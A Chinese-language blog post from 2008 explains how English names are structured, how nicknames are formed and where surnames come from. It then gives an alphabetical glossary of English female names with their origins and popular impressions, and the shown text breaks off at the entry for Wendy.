feng's profileThinking in Celestial......PhotosBlogListsMore ![]() | Help |
|
12/18/2008 英语姓名的来历和涵义 英语姓名的一般结构为:教名+自取名+姓。如 William Jafferson Clinton。但在很多场合中间名往往略去不写,如
George Bush,而且许多人更喜欢用昵称取代正式教名,如 Bill
Clinton。上述教名和中间名又称个人名。现将英语民族的个人名、昵称和姓氏介绍如下: I. 个人名 按照英语民族的习俗,一般在婴儿接受洗礼的时候,由牧师或父母亲朋为其取名,称为教名。以后本人可以在取用第二个名字,排在教名之后。 英语个人名的来源大致有以下几种情况: 1. 采用圣经、希腊罗马神话、古代名人或文学名著中的人名作为教名。 2. 采用祖先的籍贯,山川河流,鸟兽鱼虫,花卉树木等的名称作为教名。 3. 教名的不同异体。 4. 采用(小名)昵称。 5. 用构词技术制造新的教名,如倒序,合并。 6. 将母亲的娘家姓氏作为中间名。英语民族常用的男子名有:James, John, David, Daniel, Michael, 常见的女子名为:Jane, Mary, Elizabeth, Ann, Sarah, Catherine. II. 昵称 昵称包括爱称、略称和小名,是英语民族亲朋好友间常来表示亲切的称呼,是在教名的基础上派生出来的。通常有如下情况: 1. 保留首音节。如 Donald => Don, Timothy => Tim. 如果本名以元音开头, 则可派生出以'N'打头的昵称,如:Edward => Ned. 2. +ie 或 -y 如:Don => Donnie, Tim => Timmy. 3. 采用尾音节,如:Anthony => Tony, Beuben => Ben. 4. 由一个教名派生出两个昵称,如:Andrew => Andy & Drew. 5. 不规则派生法,如:William 的一个昵称是 Bill. III. 姓氏 英国人在很长的一段时间里只有名而没有姓。直到16世纪姓氏的使用才广泛流行开来。英语姓氏的词源主要有: 1. 直接借用教名,如 Clinton. 2. 在教名上加上表示血统关系的词缀,如后缀-s, -son, -ing;前缀 M'-, Mc-, Mac-, Fitz- 等均表示某某之子或后代。 3. 在教名前附加表示身份的词缀,如 St.-, De-, Du=, La-, Le-. 4. 放映地名,地貌或环境特征的,如 Brook, Hill等。 5. 放映身份或职业的,如:Carter, Smith. 6. 放映个人特征的,如:Black, Longfellow. 7. 借用动植物名的,如 Bird, Rice. 8. 由双姓合并而来,如 Burne-Jones. 英语姓氏虽然出现较教名晚,但数量要多得多。常用的有:Smith, Miller, Johnson, Brown, Jones, Williams. IV. 几点说明 1. 较早产生的源于圣经,希腊罗马神话的教名通常不借用为姓氏。 2. 英国人习惯上将教名和中间名全部缩写,如 M. H. Thatcher;美国人则习惯 于只缩写中间名,如 Ronald W. Reagan。 3. 在姓名之前有时还要有人际称谓,如职务军衔之类。Dr., Prof., Pres. 可以用于姓氏前或姓名前;而Sir 仅用于教名或姓名前。 --------------- 女子英文名释义 --------------- ABIGALE 原为古希伯来名,意思是"最初的欢乐"或"欢乐之本"。在圣经撒母尔记上篇第二十五章中,讲到了一位早期名叫Abigale的人的故事。在这个故事之中,她是一位聪明、美丽的女人。她有过人的智能和谋略。因而,她后来成了以色列大卫王的妻子。 ABBYABBIE 是ABIGAIL的简写。人们认为ABBY是娇小可爱的女人,文静,令人喜爱,个性甜美。 ADA (老式英语)"高贵"的意思。为ADELAIDE的简写。ADA给人的印象是年长保守,辛勤的工作者。 ADELINE Adelaide的英文写法。Adeline被描绘为守旧,坏脾气的女孩,过份有礼但目中无人。 AILSA 古德语,快乐的姑娘的意思。 AIMEE 来自法语,意为可爱的人。 ALICE (希腊)"真理";(老式德语)"贵族"。大部份的人都把Alice看做是"爱丽丝梦游仙境"的那位爱丽丝-一个年轻的梦想者喜欢热闹有着不受束缚的灵魂。有些人则认为她是自傲的老女人。 ALINA 爱丽娜,古德语,『高贵』的意思。 ALLISON 盖尔语,微小,真实的;古德语,名闻众神。令人联想到美丽无瑕的女子,聪明,体贴。 ANGELIA (希腊)"天使,传送讯息者。"Angelia被描绘为美丽,娇小的女子若不是有着甜美温柔的个性,即是活泼莽撞的女孩。。 AMANDA (拉丁名)其词根表示爱的意思。AMANDA表示可爱的人。人们认为她保守美丽又纤细,甜美富有。 ANNE 善良、优雅、喜欢帮助人的女孩.皇室的皇后、公主很多都是这个名字或者ANNIE,许多平民也都很喜欢这个名字。 ANN (希伯来)"优雅",HANNAH的英文形式。 ANN这个名字让人想到平凡,中等阶级的女子,善良,踏实,勤勉,且憨厚。 AMY 拉丁文意思是"被深爱的"。AMY给人的印象是个玲珑,纤细的女孩,并有着安静,沉着,有文化素养及宛雅的特质。 AMBER 古法语,琥珀。令人联想到高恌,气质优雅的红发女孩,聪敏,性感,坚强又傲慢。 ANASTASIA 认 得吗?就是福斯新片真假公主的英文原名。来自希腊字复活,因此这个名字很适用于出生在复活节前后的日子。早期的基徒往往用它给那些刚刚洗礼的女孩子取名, 表示获得了新生命的意思。由于这个名字含有较多的宗教性,所以,在爱尔兰和美国得到了较为广泛的传播。腻称为STACEY。 ANDREA (拉丁语)"有女人味的"。ANDREA被描绘为成熟健康的女人可能是聪明也有可能是笨拙的,轻声细语也有可能严肃的令人难受,大体来说,ANDREA是令人敬佩的。 ANGELA (希腊)意谓天使,传递消息的人。ANGELA被形容为美丽,纤细的女人,温柔可人或是有活力但莽撞的女孩。 ANNIE 同ANN,如同孤女安妮一般,ANNIE被形容为可爱的小女孩,言行或许可笑却很聪明,个性和善却很固执。 ANITA Anita是Ann的西班牙写法。人们认为Anita这个名字非常适合娇小、美丽,性格讨喜的中层阶级女性,伶俐,讨人喜欢,而且充满乐趣。 ARIEL (希伯来),上帝的母狮子。母狮子,才不呢?ARIEL有着更柔美的形象,纤细,美丽,公主般的女孩,聪明而羞涩。 APRIL (拉丁),开始的意思。当人们听到APRIL时,他们想象的是优美的少女,甜美,活力奔放。 ASHLEY 来自梣树林的人,ASHLEY被形容为美丽的专职妇女,害羞,友善有着正确的价值观与品味,喜欢有猫咪小狗的陪伴,还有穿著长礼服弹琴。 AVIVA (希伯来)同Avivahc和Avivi. 有"美好的春天"的意思。 BONNIE (苏格兰)意思是美丽,BONNIE这个名字让人联想到美丽,有这红色头发的苏格兰乡村女孩,充满活力,和善而且甜美。 BEATA (拉丁名)最快乐幸福的人。 BEATRICE 同BEATRIX,(拉丁)带来欢笑之人。人们认为BEATRICE是高大,强壮的单身女人,有着非凡的厨艺。 BECKY REBECCA的简写。BECKY被形容是可爱的顽皮姑娘,注重世俗之物,文静又快乐。 BETTY 为Elizabeth的简写。Betty这个名字让人在脑中浮现一个金发女孩的影像,傻的可爱,又风趣。 BLANCHE (法语)白色,纯洁之意。人们心目中的BLANCHE若不是美丽善于运动的就是平淡乏味的女孩。 BRENDA (古式英语)煽动者,BRANDON,及BRENDAN的女性形式。BRENDA不是被描绘成美丽年轻的金发女孩就是有着恬静个性的黑人南方女人,或是穿著套装精明干练的女商人。 CANDICE (希腊语),闪烁耀眼的。CANDICE令人想到身材高挑,美丽无瑕的女子,外向,直率,独立,而甜美。 CARINA 亲爱的小东西!听起来好象有点肉麻喔!这可是我好不容易查到的耶。 CARMEN (拉丁)歌曲;(西班牙)来自卡曼山的。CARMEN给人的第一印象来自歌剧。CARMEN被形容作美丽,麦芽肤色,棕眼的西班牙女孩,坚强非常有吸引力。 CAROL (拉丁)强悍,有女人味的。CAROL BURNETT是具代表性的人。CAROL被比喻为和善,居家类型,外向风趣的人。 CARRY Carrie是Carol,及Caroline的简写(同Kerry)。Carrie给人的感觉是可爱,聪明的金发女孩, 可能有两种极端不同的个性;一个是好玩外向的女孩,另一个则是安静好独处的女子。 CASSIE CATHERINE,CASSANDRA的简写。人们心目中的CASSIE是可爱,受欢迎的大学女生,快乐而甜美。 CATHERINE (希腊)"纯真";Katherine的英文形式(同Katherine),人们对Catherine这个名字有两种看法:一是美丽,优雅,处于上流社会的世故者,拘谨,严肃,举止合宜;一是普通的女人,友善,受欢迎,又有教养。 CATHY 为CATHERINE的简写(同KATHY),CATHY被描绘为可爱年轻的金发女子,充满活力,外向,有趣,且和善。但有些人则认为CATHY是被惯坏而且以自我为中心的女孩。 CHELSEA (古英语),停船的港口。CHELSEA给人的印象是富有的英国女性,有着独特的个性。 CHARLENE, SHARLENE同CAROLINE,CHARLOTTE。对大部份人来说,CHARLENE是矮小,有魅力的金发女子,如Charlene Tilton。但对其他人,CHARLENE是高佻,风趣的邻家女孩。 CHERRY CHERRY,樱桃,大部份的人对Cherry的印象是甜美,可爱充满青春气息,而且热心助人。 CHERYL 为CHARLOTTE的另一形式,(亦同SHERYL)大部份的人认为CHERYL是娇小,可爱,甜美,友善的女孩,但有些人却把她看做是肥胖的代表。 CHRIS Chris,Kris是Christine ,kristine的简写,Chris是个男女通用的名字。人们认为Chris是个顽皮姑娘或是非常有自信的女运动员,充满信心的微笑,外向,很有活力的那种人。 CHRISTINA 同Christine。如此佳人!Christina被形容为美丽娇小的女子家境富裕,聪明世故。 CHRISTINE (希腊)"基督徒"。CHRISTINE让人联想到窈窕美丽的棕发女孩有着天使般的脸孔,或是高大,令人印像深刻的运动员,个性木讷。 CHRISTY CHRISTINE 的简写。CHRISTY BRINKLEY是这个名字的代表人物,可爱,年轻,善良的金发女孩,风趣并受欢迎。 CINDY CINDERELLA,CYNTHIA,LUCINDA的简称。CINDY被称为所有美国青少年的皇后,甜美,吸引人的金发女孩,活力充沛又健康,但不是很聪明。 CLEMENT (希腊)宽容的意思。CLEMENT是个古老的名字,这个名字相当适合年长的南方乡村女孩,甜美,保守,不曾受过教育。 CLORIS 是古希腊神话里花的女神,指盛开的花朵.。 CONNIE CONSTANCE的简写,在人们心目中的CONSTANCE有两种:体态优美,娇小美丽的女人,活泼,有点胡涂且受欢迎或是高挑勤奋的保守女子。 CORA (希腊)未婚的女子。CORA是个古老的名字,一般似乎延用在思想单纯,黑发的未婚女子聪明友善。 CORRINE 贵族之后。CORRINE给人的印像是有着高贵气质的金发女子,聪明的头脑及敏锐的判断力,通常团体中的佼佼者。 CRYSTAL (拉丁)"清澈如水晶"的意思。(同KRYSTAL)。CHRISTAL被描绘为富有,高挑,美丽的女子,非常有天份但过于矫饰自己。 DAISY (老式英语)"雏菊"。森林来的"金发女孩",甜美可爱。 DAPHNE (希腊)"桂树"。人们将Daphne形容为富有的年长女人,可能是头脑简单,四肢灵活或行为拘谨的棕发女子。 DARCY (爱尔兰语)"秘密"。人们口中的CHARCY是圆润可爱的邻家女孩。有的人则认为DARCY是像拉拉队长或那种在比赛过后喜欢到酒吧热闹的女孩。 DEXTRAD (拉丁名)很灵巧、熟练的意思。 DEBBIE DEBORAH,DEBRA的简写。DEBBIE被描绘为可爱,健康的小孩,健谈,活泼,又有趣。 DEMI (法国)一半或小的意思。DEMI MOORE是这个名字的代表人物。人们认为DEMI是个流行的名字适合聪明,美丽,受欢迎喜欢寻找乐趣的女孩。 DIANA (拉丁)神的,上帝的。大部份的人认为DIANA是美丽,身处上流社会的金发女子,保守,拘仅,安静,聪明。有些人却把DIANA看做投机主义的人。 DONNA (意大利文)"夫人"的意思。人们认为DONNA适合可爱的,有母爱的女子,文静,友善并平易近人。 DORIS (希腊)从海洋来的。DORIS被描绘为整齐,活跃的金发女子,健谈友善,就像DORIS DAY. EDITHA (老式英语)"丰硕之礼"对大部份人来说,Edith是平凡,穿著老旧,可爱,容易上当又迟钝的女人。有些人则把Editha看成不受赞许的老师。 ELAINE Elaine被人形容为美丽的金发女子-精明有商业头脑,不但友善还是个很好的朋友。 ELLA (古式英语),"小淘气,美丽的女子"。人们说ELLA是高大,魁梧的女黑人-一个保守的祖母,快乐,讨喜,友善。 ELLIE 为Eleanor,Ella, Ellen等字的简写:人们认为ELLIE是可爱保守的南方乡村女孩,天真,迷人,而且甜美。 EMERALD 英语。实际上是一种绿宝石的名字。后变为女人名。 EMILY (德语),勤勉的意思。(拉丁),恭维者的意思。大部份人将EMILY描绘为娇小可爱,安静保守的女子,聪明,柔弱,拘谨。 EMMA (古德文)"全球的,护士的",EMMA被看做是丰满,平常,年长的居家型女人,快乐,文静,教养良好,个性依赖。 ENID (威尔斯)意为"生命"或"灵魂"。有人认为ENID是上流社会的单身女子,守旧细心。但也有人认为ENID是活泼的派对爱好者。 ELSA 同IISA(老式德语)贵族,ELIZABETH的简写。ELSA这个名字让人想到演员或富裕的欧洲女性,自负快乐及外向。 ERICA (老式挪尔斯语)"所向无敌";是Eric的女性形式。所向无敌?没错!Erica被看做是意志坚强,性感的金发女子,富有,任性,而且定不下来。 ESTHER (波斯)"星子"的意思。ESTHER这个名字给人两种印象:一个是于家中握权的女人,倔强,古板,另一个则是美丽的女子,甜美又文静。 EUDORA 拉丁名,意为幸福的礼品。 EVA 对大部份人来说,Eva是个优雅美丽的女子,也是个很有主见及直接的人,有人则认为Eva是性感,优雅的谋略者。 EVE 最早使用这个名字的人,据说就是<圣经>中所说的夏娃-亚当之妻。在欧洲,人们有这么一种迷信,即凡是被命名为夏娃的人一定会长命。因此,此名在宗教改格前流行于西欧。 FIONA FANNY, Fannie同Frances,Fanny被描绘为黑发,丰润的女孩,快乐,风趣,非常活泼有时让人有鲁莽的感觉。 FIONA 最 初是苏格兰作家威廉?夏普的笔名。他曾经撰写一系列取自克尔特民间故事题材的小说。他的笔名选用的很恰当。因为爱尔兰的许多名字都带有『finn-』或 『fionn-』这个前缀;这两个克尔特语前缀的意思是『美丽』和『白色』。据古代传说,在爱尔兰曾居住着一批巨人。他们当中,有一个英雄名叫Finn, 又名Fionn或Fingal。此外,人们还传说古爱尔兰住着一位『白肩姑娘』(克尔特语为Fionnguala,她是李尔王的女儿。后来她变为天鹅,在 漫长的几百年间,游荡在爱尔兰的河川湖泊中。 FRANCIS (拉丁)"自由,来自法国;FRANCIS的女性名。大部份的人认为FRANCIS是个纤弱保守的女子,善良,可爱但沉稳。 FREDERICA (古式德语)和平的统治者。FREDERICA让人联想到年长的外国女子,精明,能干,自负。 FRIEDA (老式德语)"宁静"的意思。Freda被描绘为告大,朴实,古板的德籍女士,友善,温和,个性积极。 GINA 为Angelina,Regina的简写。Gina给人两种印象:一是娇小,美丽黑发受宠骄纵的意大利女子,或是平凡,圆润的风趣女人。 GLADYS (塞尔特语)"公主"。(拉丁语)"短剑,剑兰;Claudia的威尔斯型式。"人们将Gladys描绘为身体强壮,穿著老旧戴着厚重眼镜的老妇人。Gladys也可能是保守善良,或者聒噪的女人。 GLORIA (拉丁)"光辉"的意思。对大部份人说GLORIA是美丽气质优雅的金发女孩,受宠的大小姐。但对某些人说,GLORIA是文静,快乐,中层阶级的淑女。 GRACE (拉丁文)优雅之意。当人们想到GRACE,他们就会联想到文静,可爱,充满智能的老妇人。 GRETA 本来是MARGARET在瑞典的简称,但到了英国后,成了独立名字。大部份人心中的GRETA是性感的金发女星带着瑞典或德国腔调及美丽的长腿。代表人物为GRETA GARBO HELLEN (希腊)光的意思人们认为HELEN是美丽的上流社会的女子,有着黑发与黑眸,优雅,聪明受过高等教育的。 HEBE 希腊语,意为『春天之神』其变形为Hebbe。 HEIDIADALHEID, ADELAIDE的简写。人们将HEIDI描绘为电影或书中孩子般的角色-美丽文静的斯甘地拉维亚女子有着一头耀眼的金发。 INGRID (斯甘地拉维亚)"英雄之女"。人们将INGRID联想为金发的斯甘地拉维亚女子,聪明,热情,又勤奋INGA不是被描绘为美丽如INGRID BERGMAN般的美女不然就是高大,魁梧的年长女人。 ISHARA (印度名)很有钱的意思...所以取这名字的女孩要小心ㄋㄟ..。 IRENE (希腊)和平,Irene给人的强烈的感觉是个适合文静,中年的爱尔兰女子,和善,有趣。 IRIS (希腊)"彩虹"。在人们眼中,Iris是高佻,苗条,细致,且自视甚高的女子。 IVY (老式英文)"长春藤",IVY这个名字给人的印象有两种:一是守旧,具母性光辉的女人,稳重慈祥;一是急智外向的南方佳丽。 JACQUELINE (希伯来文)意为"追随者"。感谢第一夫人,JACQUELINE给人的印象是黝黑,苗条,美丽神秘-富有,优雅善于社交的女子,迷人的魅力无法挡。 JAMIE (法语)"我爱";JAMES的女性型式。JAMIE是个受欢迎的中性名字。名为JAMIE的女孩通常是可爱,感性顽皮。 JANE (希伯来文)悲怜上帝;也是JOHN的女性名词。并不令人惊讶!人们心中的JANE平凡无奇。这名字让人联想到普通,依赖,爱好园艺的邻家女孩。 JANET 同Jane。Janet被人看做聪明活泼善于社交的女孩,脚踏实地是个可信赖的人。 JEAN 为JANE的苏格兰形式。JEAN适合能力不错,可靠的女子的名字,可以是可爱女人味十足的;也可以是纯真带孩子气的。 JESSICA (希伯来)财富;JESSEE的女子名,大部份人认为Jessica是个甜美,美丽,受欢迎的女孩,有些人认为她是个美丽骄纵的富家女孩;其它的人则认为她是个难以驾驭的女强人。 JESSIE 为Jasmine,Jessica的简写;Janet的苏格兰形式。Jessie是个中性名字令人想起可爱运动型的女孩,男孩子气,爱玩,善良,且聪明。 JENNIFER (威尔斯)"纯洁","美好"同Guinevere。近来Jennifer已变成一个受欢迎的名字。(有些人则认为太受欢迎了)人们认为Jennifer这个名字非常适合可爱的金发拉拉队长,受大家欢迎,并受人喜爱。 JENNY, JENNIE 是JANE,JENNIFER的简写,JENNY被形容是有趣外向有着西方乡村气息的邻家女孩。但有些人认为JENNY是指老古董般的家庭主妇或是老祖母。 JILL 为Gillian的简写。人们认为Jill是个适合高瘦年轻女子的名字,平凡,安静且非常友善。 JOAN (希伯来)上帝的恩惠;同JANE;为JOHN的女性形式。对大部人来说,JOAN是平凡,严肃,乏味,温和。但对某些人,JOAN令人讨厌,自大又聒噪。 JOANNA 同Jane;John的女性型式。Joanna被认为是个十分适合平凡,传统,以家为重的女人--可能是秘书或护士。 JOCELYN 古德语,意为优胜者。令人想到美丽的乡村女孩。好玩甜美。 JOYCE 为JOSEPHINE的简写,大部份的人对JOEY的印象是被惯坏的小麻烦,但虽然顽皮,倒不失其天真可爱的一面。 JOSIE 同Josephine,"愿上帝给增添孩子"。Josie被视作平凡,高大,黑发的女人,循规蹈矩,行为严谨之人。 JOY (拉丁语)"快乐"。Joy给人的感觉同名字一般,快乐的女人,善良很好相处。对某些人来说,Joy有点傻,其它的人则认为Joy是认真又努力的人。 JOYCE (拉丁文)快乐的。大部份的人认为JOYCE是个活泼爱玩的女孩,也是忠实的朋友;但有些人则认为JOYCE虽然聪明,但也喜欢指使人。 JUDY 为Judith的简写。 Judy被视为喜欢捉弄人的小精灵,骄小,可爱,非常和善。 JUNE (拉丁),六月。大部份人认为JUNE有如邻家女孩,活泼,可爱,有着中等的容貌及身材。有些人则认为JUNE是平凡愚蠢的女孩。 KAREN Katherine的丹麦型式。人们认为Karen是平凡的棕发女子,独立,风趣是个可以深交的朋友。 KARIDA (阿拉伯名)有纯洁、处女的意思。 KATE 为Katherine的简写。 Kate这个名字令人联想到可爱,外向,精力充沛,脚踏实地的女子。 KATHY,KATHIE 为KATHERINE,KATHERLEEN的简写(同CATHY)。KATHY被看做黑发的小女人,文静,温和又善良。 KATRINA 纯洁的意思。 KAY,Kaye 为Katherine的简写。有人说Kay是个过重但时髦的女人,表面看来友善甜美,私底下擅于算计且冷酷。 KELLY (爱尔兰盖利克)"战士"。Kelly给人两种不同的印象:可爱的乡下爱尔兰女孩,迷人又风趣。或是魁梧具野心的雄辩者,咄咄逼人令人不舒服。 KISHI (日文)让我们的地球快乐,(哇!取这个名字的人责任很重大喔~) KITTY kitty,是Catherine的简写,当人们听到Kitty时所想到的是可爱的红发女孩,性感,爱玩,坚强。 LAREINA 西班牙文里的意思是指皇后。 LAURA 拉丁名,意为『海湾之树』。事实上是LAWRENCE的女性形式。人们说LAURA是美丽的金发蓝眸女子,古典气质,性格甜美。 LENA (拉丁)诱惑者;"leen"," "lena," "lina," "line"。LENA有两种不同的形象:娇小,活泼的歌者或是固执,年长的挪威女子。 LYDIA 原来是小亚细亚地区的一个地名。古代有一位国王叫Croesus,使这个地方成为很繁荣的地区。后来,他的王国于公元前546年崩溃。Lydia,成为人民后,其义为『利迪亚地区的姑娘』。简称为Liddy。 LILLIAN (拉丁)百合花,这个名字让人联想到脆弱,朴素,富有带着眼镜的妇人-可能是图书馆员。有些人则认为Lillian代表善良,还有人认为Lillian是诚实健谈的。 LINDA (西班牙语)美丽的意思。一点也没错,人们期望的Linda是有着蓝眸的金发女孩,既甜美又文静。 LISA 是ELIZABETH的别名,LISA被描绘成美丽,黝黑并安静聪明的女孩。有些人觉得LISA是个有趣并善良的女孩。 LIZ 为ELIZABETH的简写,人们将LIZ描绘为美丽,高挑,精力旺盛的女人,有棕色的短发和大眼睛。LIZ是勇敢的,爱直言的行为可能有时显得粗俗,自负,脾气不是很好。 LORRAINE (法文)对大部份的人来说LORRAINE是有着卷头发的中等美女,女强人,稳重,安静,有些人认为LORRAINE是有点轻浮,有趣的女子,脾气可能也不好。 LUCIA 同Lucy"光明"的意思。人们认为Lucia是很有趣的乡村女孩,活泼,搞笑,聒噪,可爱。 LUCY 来自拉丁字Lux,"光明"的意思。人们认为LUCY是有趣的乡村女孩,活泼可爱,风趣,引人注意。 LUCINE 在拉丁神话里,有位负责在孩子出生时,给予第一道光芒的罗马女神,所以LUCINEU有启蒙、照明的意思。 LULU 同LOUISE,LUELLA。人们形容LULU是顾家,保守的女人,愚蠢,浮燥,丰腴,甜美。 LYNN (老式英语)瀑布,或水池。是包含"lin","line","lyn"等字名字的简写。Lynn被形容为高,纤细,身体 健康的年轻女孩,个性独立而且友善。 MAGGIE 为MARGARET的简写。MAGGIE被认为是古板,身强体壮,满脸雀斑的爱尔兰女子,友善,风趣,大胆,独立,又大嗓门。 MANDY 为AMANDA,MANDA,MELINDA的简写。人们将MANDY描绘为年轻,可爱,精力充沛的女孩,外向且风趣。 MATILDA (老式德语)战争中占优势者。战争中的优势者,一点也没错。MATILDA被认为是高大,体积庞大的老女人,古板喜欢使唤人。有些人则认为这个名字非常地适合女巫。 MILLY 为CAMILLE,EMILY,MELISSA的简称。给人大块头年长女子的味道,健谈,友善,可爱又居家,是农夫也不一定。 MIYA 日文的意思是指神殿、寺庙。 MARIAH (希伯来)同MARY,人们说MARIAH是娇柔美丽的黑发姑娘,个性文静,温和,甜美。 MARY (希伯来)苦的意思,MARY 给人的印象是单纯的普通女孩,独立,安静并有点迟顿。 MAVIS (拉丁)最伟大者。为MAX的女性型式。MAXINE有三种形象:端庄温和,带着眼镜的教师;受拥戴,甜美的金发女皇;好动的的顽皮姑娘。 MAXINE (拉丁)最伟大者。为MAX的女性型式。MAXINE有三种形象:端庄温和,带着眼镜的教师;受拥戴,甜美的金发女皇;好动的的顽皮姑娘。 MAY (拉丁),伟大。 MAY让人联想到两种印象:丰满的金发女子,讨喜风趣,或者是平凡单调的女侍。 MELISSA (希腊)"蜜蜂"。人们认为MELLISA是娇小美丽的年轻女子,甜美但娇纵的大小姐。 MELODY 原意有音乐旋律的意思,这个名字很受20世纪人中人们的喜爱,人们将Melody这名字和甜美、温柔、善解人意的女孩联想在一起。 MEREDITH (威尔斯)"来自海的守护神"。Meredith被看做古典美人,聪明,独立,富有。 MICHELLE (希伯来)像神的人;MICHAEL的女性形式。大部份人认为Michelle是美丽,身材修长的自大女千金。 MIRANDA (珍贵的赞美)大部份人将Miranda描绘为高大美丽的异国女子,高贵神秘甚至不可一世。 MIRIAM 为Mamie,Mary,Mayme的变形,意思是"甘苦的"。生下耶稣的圣母玛丽亚,如同Dolores及Mercedes等名字都是用来颂扬及表示对Mary的尊敬。这是个神圣的名字,唤此名字的人,多具有文才艺术方面的才华,在写作画画方面多有成就。 MONICA (拉丁文)参谋者之意。大部份人认为MONICA是美丽的金发女子,受过教育,风趣友善。有些人则认为Monica是被宠坏的大小姐。 NANCY NAN的别名,NANCY被描绘成美丽的黑发邻家女孩,安静讨人喜欢,个性和善并甜美。 NATASHA NATALIE的俄文形式。NATASHA被人们形容为有着巧克力肤色,美丽,具异国风情的神秘女子极度自我的女子。 NICOLE (希腊)意思是胜利的人们,由NICHOLAS衍生的女性名。人们把NICOLE形容是中国娃娃,意谓娇小,美丽的年轻女孩,甜美浪漫,但容易破碎。 NIKITA (俄语)胜利的意思,是NICOLE的另一种说法,在俄国也可以当男子名喔... NINA (西班牙)"女孩"之意。大部份人心目中的NINA是娇小美丽的金发女子,优雅,具异国风味,文静,冷默且独立。有些人则认为NINA是迷人随和的女孩。 OLINA 夏威夷话是指欢喜的、快乐的。 OPRAH (美国)同Opera,Opie。这个名字几乎和电视明星Oprah Winfee画上等号。Oprah给人的印象是霸道,美丽,积极,自以为是,大胆,聪慧,敏感。 PAMELA (希腊)全蜜的意思。人们认为PAMELA若不是高傲惹人厌的公主就是下等阶级的单亲妈妈。 PAULINE 同Paula Pauline被描绘为聪明,冷静成熟的女子,直率,循规蹈矩。 PEARL (拉丁),珍珠的意思。 PEARL被视为美丽,高大的女子,健谈且风趣。 PEGGY 为Margaret的简称。人们认为Peggy是邻家男孩-可爱,友善,平凡。 PHILOMENA 希腊语,意为可爱的思想。 PHOEBE 希腊语,意为照顾。在古希腊,人们称月亮女神为PHOEBE,就如罗马人所说的DIANA一样。 POLLY 为MOLLY,PAULA的另一种形式。POLLY被叙述为惹人疼爱的小甜心-可爱,活力充沛的女人,带着乐观与善良的态度。 PRISCILLA (拉丁文)的意思是远古的日子,部份的人把Priscilla 描绘为假正经的人,美丽,有女人味,有点紧张兮兮,除此之外颇善于交际。 QUENTINA 拉丁名,意为"第五个儿子",为QUENTIN的女性形式。简称QUENT. RACHEL (希伯来文)母羊的意思,RACHEL被描绘为美丽,娇小的黑发女子,一个聪慧能筑梦踏实的女子。 REBECCA 原为希伯来文Ribkah,意为"节成结的绳索",用它来比喻"忠诚的妻子"。 RITA MARGAET之简写。大部份人认为RITA是美丽有天份的女人,风趣外向,然而有点不真实。有人则认为RITA是文静且圣洁地。 ROSE (希腊)玫瑰的意思,人们认为ROSE是个真正的甜心-温和具有母性的光辉,心地善良,乐于助人。 ROXANNE (波斯)"黎明"的意思。任们认为Roxanne是美丽的,优雅的金发女子,充满活力又热心,虽然不是太精明。 RUTH (希伯来)意为"美人"或"朋友"。人们说RUTH是高大,强壮的普通女人,热心,受尊敬-通常是老师或领导者。 SABRINA (拉丁语)来自边界。人们认为SBRINA是美丽性感的女子,热情而俏皮。 SANDRA Alexandra的简写。Sandra这个名字给人两种印象,一种是聪明的金发女子,坚决有自主权;另一种则是丰满的女人,声音甜美个性随和。 SAMANTHA (亚拉姆语)"倾听者。SAMANTHA给人两种印像:一个是聪明,美丽的女子,另一个则是难缠的中年妈妈。 SAMMY SAMSON,SAMUEL的简写。SAMMY给人的直接印象来自Sammy Davis,Jr。人们将SAMMY看做纤细的黑人明星,风趣多才多艺。 SANDY SANDRA的简写。SANDY被形容为年轻的金发女子,聪明,好动,爱玩,善良且平易近人。 SARAH (希伯来)"公主"。 Sarah这个名字让人联想到矮小,美丽,卷发的女孩,保守又友善。 SELMA (斯甘地拉维亚语)庄严的保护着。人们说SELMA是个适合年长,次等阶级,自以为无所不知的南方女人名字。 SELINA 月光之意。Selina给人的印象是个性开朗,面貌柔美的女子,温柔娴熟,但有人认为她的个性阴晴不定难以捉摸。 SERENA (拉丁)"温和;沉着的"。SERENA给人两种不同的印象:可爱活泼充满惊喜的女孩;或是文静胆怯,虔诚的信徒。 SHARON (希伯来文)同Sarah。大部份人期待的Sharon是娇小可爱,中层阶级的金发女子,友善,甜美,聪慧。有人则认为Sharon是害羞迟钝的。 SHELLEY (老式英语)意为州的牧场,同SHEILA,SHELBY,SHIRLEY。SHELLEY给人两种不同的印象:一个是可爱聪明,眼高于人的中学美少女;或是愚蠢又矮又胖多话的女孩。 SHERRY, CHERIE同CHARLOTTE,CHER,SARAH,SHIRLEY.大部份人把SHERRY想成可爱娇小,圆润的金发女孩,友善,逢场作戏,然而却十分健忘。 SHIRLEY (老式英语)"来自耀眼的牧场"。人们将SHIRLEY描绘成灰发版的Shirley Temple-可爱,甜美,卷发,娃娃脸,有点过重。 SILVIA (拉丁文)"来自森林",在多数人的心里,SILVIA是个美丽富有的女人,冷静,循规蹈矩,精明的女商人。 STACY ANASTASIA的简称。STACY被形容是娇小可爱,年轻的红发女子,活泼,外向喜欢开玩笑。 STELLA (拉丁)"星星"之意;ESTELLE的简写。大部份人认无STELLA是穿著朴素,古板,努力的工作者,反应迟钝号发牢骚者。 STEPHANIE (希腊)皇冠的意思。STEPHEN的女性型式。大部份的人认为STEPHANIE是纤细,美丽的女性,世故非常自我-模特儿,大概是吧。有些人认为她是非常善良的女孩。 SUE Susan的简写。Sue给人两种不同的印象:一是传统家居的美国女孩,既甜美又体贴;或是美丽,有着致命吸引力的女人。 SUNNY (英文)"聪颖,快乐的":SONIA的简写。如同名字所给的意思,SUNNY被视做聪颖快乐外向,令人喜爱,性感但有点没大脑,喜欢参加派对的女孩。 TAMMY TAMARA的简写。人们认为TAMMY是可爱的年轻女孩,甜美,好玩,奢侈。 TESS 为TESSA,TERESA的简写。TESS这个名字给人两种印象:一是肥胖简朴的农村祖母,二是娇小,害羞,美丽的长发女孩。 TERESA (希腊)收获者。TERESA被形容为美丽,黑发的女人,文静,直接,而且有着极虔诚的信仰。 TIFFANY (希腊)上帝的外表。人们认为TIFFANY适合娇小美丽,富有,世故,轻浮,惹人厌的女子。 TINA 以"TINA"或"TINE"结尾名字的简写。大部份的人把TINA形容为活力充沛的女孩。有人则认为TINA是被宠坏又害羞的女孩。 TRACY (爱尔兰)作战者;(拉丁)有勇气的,RESA的简称。TRACY被描绘为可爱喜欢运动的有着卷曲金发女人,有自信的掌事者,喜欢寻找乐趣,有良好的教养个性温和。 VANESSA 对大部份人来说是个美女的名字,纤细,有吸引力的女人。聪明,有财有势,有点高傲。有些人甚至会将vanessa和性感联想在一起。 VICKY VICTORIA的简写。人们心中的VICKY是娇小,纯朴的顽皮女孩。 VIVIAN 源为拉丁字vivianus,意为有活力的。充满活力?可不是吗!人们说VIVIAN是活力四射,有教养,风趣,友善,又好动 WENDY 